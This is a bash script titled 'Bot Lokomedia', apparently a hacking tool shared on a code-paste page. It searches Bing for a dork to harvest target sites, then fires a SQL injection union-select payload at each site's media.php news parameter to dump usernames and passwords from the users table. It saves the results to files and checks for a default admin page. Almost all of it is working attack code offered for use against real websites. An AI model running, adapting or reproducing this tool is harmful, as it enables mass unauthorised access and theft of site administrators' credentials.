#!/bin/bash
# c0ded by : shutdown57
# powered by www.alinko.jp
# COLOR | WARNA
m="\e[0;31m" # merah
k="\e[0;33m" # kuning
h="\e[0;32m" # hijau
b="\e[0;34m" # biru
lm="\e[1;31m" # merah terang
lk="\e[1;33m" # kuning terang
lh="\e[1;32m" # hijau terang
lb="\e[1;34m" # biru terang seterang masa depan kita.
n="\e[0m" # clear / netral
w="\e[1;37m" # putih tebal
xSimpanPacar(){
touch $2
chmod 777 $2
echo $1 >> $2
}
xSimpanan(){
mkdir OutputxS57 > /dev/null 2>&1
chmod 777 OutputxS57
touch OutputxS57/readme.txt
echo "-[ shutdown57 ]-" > OutputxS57/readme.txt
local uvuv=$(date +"%H%m%s")
local name="OutputxS57/$uvuv-$1.txt"
touch $name
echo "+-[ INFO ]-+" >> $name
echo "Site : $1 " >> $name
echo $2 >> $name
echo "+-[ END ]-+" >> $name
local cekfile=$(cat $name)
if [[ -f $name && $cekfile != "" ]]; then
xS57s " Result saved to : $name !"
else
xS57f " Failed Save Result :("
echo $2
echo "-----------------------"
fi
}
bingDork(){
local curl=`curl "http://www.bing.com/search?q=${2}&first=${1}1" -s`
local gets=$(echo $curl | grep -Po "(?<=<h2><a href=\")[^\"]*")
xS57i "-[ INFO ]-"
xS57i "Dork : "$2
xS57i "Page : "$1
xS57i "R u n n i n g . . . ."
for geturl in $gets
do
IFS="/" read -r -a url <<< "$geturl"
xS57s ${url[2]}
xSimpanPacar ${url[2]} $3
done
}
FindAdminLokmed(){
local adminpage="adminweb/"
local ceklo=$(curl -s --connect-timeout 10 ${1}/$adminpage -D -)
if [[ $ceklo =~ "200 OK" ]]; then
xS57s "Found Default Adminpage : ${1}/$adminpage !"
else
xS57d "Not Found Default Adminpage :( ."
fi
}
ExploitX(){
injectable="/media.php?module=detailberita&id=.169+'union+select+make_set(6,@:=0x0a,(select(1)from(users)where@:=make_set(511,@,0x23,username,0x3a574f533a,password,0x3c62723e)),@)--+"
buaturi="${1}/${injectable}"
cekhead=$(curl -s $buaturi --head)
xS57i "I n j e c t i n g . . ."
if [[ $cekhead =~ "200" ]]; then
curl -s $buaturi | grep "WOS" > /dev/null 2>&1
if [[ $? -eq 0 ]]; then
xS57s "${1} -> INJECTED !"
up=$(curl -s "${buaturi}" | grep -Po "(\#.*:WOS:.*\#)" | sed -e 's/:WOS:/Username:Password/g')
xS57i "Getting Username & Password . . ."
xSimpanan $1 $up
xSimpanPacar $buaturi "result.txt"
xS57i "Trying Find Default adminpage . . ."
FindAdminLokmed $1
else
xS57d "${buaturi} -> FAILED"
fi
else
xS57f "${1} -> ERROR ! | Detected WAF"
fi
}
xS57i(){
echo -e "${lb}[i] ${n} ${1}"
}
xS57t(){
echo -e -n "${h}[?] ${n} ${1}"
read $2
}
xS57f(){
echo -e "${lm}[!] ${n} ${1}"
}
xS57d(){
echo -e "${k}[!] ${n} ${1}"
}
xS57s(){
echo -e "${lh}[+] ${n} ${1} "
}
InjectLokmed(){
listsite=`cat $1`
site=$(echo $listsite | tr "\n" "\n")
for si in $site
do
xS57i "Checking ${si}/media.php?module=home for Exploit ..."
local cek=$(curl -s --connect-timeout 10 ${si}/media.php?module=home -D -)
if [[ $cek =~ "HTTP/1.1 200 OK" ]]; then
xS57s "${si}/media.php?module=home -> 200 OK !"
ExploitX $si
else
xS57d "${si}/media.php?module=home -> Not Vuln !"
fi
done
}
BannerxS57(){
clear
printf "${lk}
${lh} *${lk}
${lh} * *${lk}
_ _ _ ___ ___${lh}* * *${lk}
___| |_ _ _| |_ _| |___ _ _ _ ___| _|_ |${n} |${lk}
|_ -| | | | _| . | . | | | | |_ | | |${n} |${lk}
|___|_|_|___|_| |___|___|_____|_|_|___| |_|${n} |${lh}
x-------------------------------------------X${n}
X${lb} Bot Lokomedia xXx copyright (c) 2017${n} XxXx
x-|${lm} powered by${w} www.alinko.jp ${n}|----------X
"
}
if [[ $1 == "" && $2 == "" && $3 == "" ]]; then
BannerxS57
printf "
Cara Menggunakan :
$0 <dork> <NumPage> <SaveAs>
Contoh Penggunaan :
$0 'semua-berita.html' '10' 'result.txt'
"
else
BannerxS57
for (( i = 0; i < $2; i++ )); do
bingDork $i $1 $3 | tee -a BotLokomedia.log
done
InjectLokmed $3 | tee -a BotLokomedia.log
fi
Comments
0 B
|👍
/👎